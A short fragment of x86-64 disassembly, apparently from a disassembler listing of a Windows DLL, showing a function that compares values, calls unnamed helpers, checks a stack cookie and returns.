movzx r8d, word [rax + rdx]
movzx r9d, word [rdx]
cmp r8w, r9w
jae 0x18007376d
xor bl, bl
lea rcx, [rsp + 0x28]
call fcn.180001c54
test bl, bl
jne 0x1800737be
mov r8d, 0xa
mov byte [rsp + 0x20], bl
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.18006cdc0
cmp byte [rsp + 0x20], bl
je 0x1800737be
test eax, eax
setne al
jmp 0x1800737c0
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180081ff0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret